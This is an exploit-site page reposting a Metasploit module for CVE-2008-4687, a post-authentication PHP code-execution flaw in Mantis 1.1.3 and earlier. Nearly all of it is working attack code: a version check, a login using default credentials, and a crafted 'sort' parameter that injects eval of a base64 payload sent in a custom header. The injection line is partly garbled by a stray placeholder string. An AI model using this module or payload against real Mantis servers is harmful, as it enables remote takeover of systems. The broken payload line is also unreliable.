首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Mantis manage_proj_page PHP Code Execution
来源:metasploit.com 作者:Sorenson 发布时间:2018-05-10  
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mantis manage_proj_page PHP Code Execution',
      'Description'    => %q{
        Mantis v1.1.3 and earlier are vulnerable to a post-authentication Remote
        Code Execution vulnerability in the sort parameter of the
        manage_proj_page.php page.
      },
      'Author'         => [
        'EgiX',           # Exploit-DB Entry Author
        'Lars Sorenson'   # MSF module author
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '6768'],
          ['CVE', '2008-4687'],
        ],
       'Privileged' => false,
       'Platform'   => ['php'],
       'Arch'       => ARCH_PHP,
       'Targets' =>
          [
            [ 'Mantis <= 1.1.3', { } ],
          ],
      'DisclosureDate' => 'Oct 16, 2008',
      'DefaultTarget' => 0))
     register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the Mantis installation', '/mantisbt/']),
        OptString.new('USERNAME', [true, 'The username to log in as', 'administrator']),
        OptString.new('PASSWORD', [true, 'The password to log in with', 'root']),
      ])
  end

  def check
    vprint_status('Checking Mantis version ...')
    res = send_request_cgi({
      'uri'    => normalize_uri(target_uri.path, 'login_page.php'),
      'method' => 'GET'
    })

    unless res
      vprint_error('Connection to host failed!')
      return CheckCode::Unknown
    end

    unless res.body =~ /Mantis ([0-9]+\.[0-9]+\.[0-9]+)/
      vprint_error('Cannot determine Mantis version!')
      return CheckCode::Unknown
    end

    version = Gem::Version.new(Regexp.last_match[1])

    vprint_status("Mantis version #{version} detected")

    if res.code == 200 && version <= Gem::Version.new('1.1.3')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def login
    vprint_status("Logging in as #{datastore['username']}:#{datastore['password']} ... ")
    res = send_request_cgi({
        'method'   => 'GET',
        'uri'      => normalize_uri(target_uri.path, 'login_page.php'),
    })
    unless res
      fail_with(Failure::Unreachable, 'Cannot access host to log in!')
    end

    res = send_request_cgi({
      'uri'       => normalize_uri(target_uri.path, 'login.php'),
      'method'    => 'POST',
      'vars_post' => {
        'username': datastore['username'],
        'password': datastore['password'],
      },
      'cookie'=> "PHPSESSID=#{res.get_cookies}"
    })
    unless res
      fail_with(Failure::Unknown, 'Cannot access host to log in!')
    end

    fail_with(Failure::Unreachable, 'Login failed!') unless res.code == 302
    fail_with(Failure::NoAccess, 'Wrong credentials!') if res.redirection.to_s.include?('login_page.php')

    store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
    res.get_cookies
  end

  def exploit
    fail_with(Failure::NotVulnerable, 'Target is not vulnerable!') unless check == CheckCode::Appears

    cookie = login
    vprint_status('Sending payload ...')
    payload_b64 = Rex::Text.encode_base64(payload.encoded)
    data = {
      'sort' => "']);}error_reporting(0);print(_code_);eval(base64_decode(
___FCKpd___0
SERVER[HTTP_CMD]));die();#", } send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'manage_proj_page.php'), 'method' => 'POST', 'vars_post' => data, 'headers' => { 'Connection': 'close', 'Cookie': cookie.to_s, 'Cmd': payload_b64 } }) end end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Microsoft Windows FxCop 12 XXE
·Dell Touchpad - 'ApMsgFwd.exe'
·Allok Video Splitter 3.1.12.17
·EMC RecoverPoint 4.3 - 'Admin
·FxCop 10/12 - XML External Ent
·Microsoft Windows 2003 SP2 - '
·GNU wget - Cookie Injection
·Libuser roothelper Privilege E
·2345 Security Guard 3.7 - Deni
·2345 Security Guard 3.7 - '234
·FTPShell Client 6.7 - Buffer O
·WhatsApp 2.18.31 iOS Memory Co
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved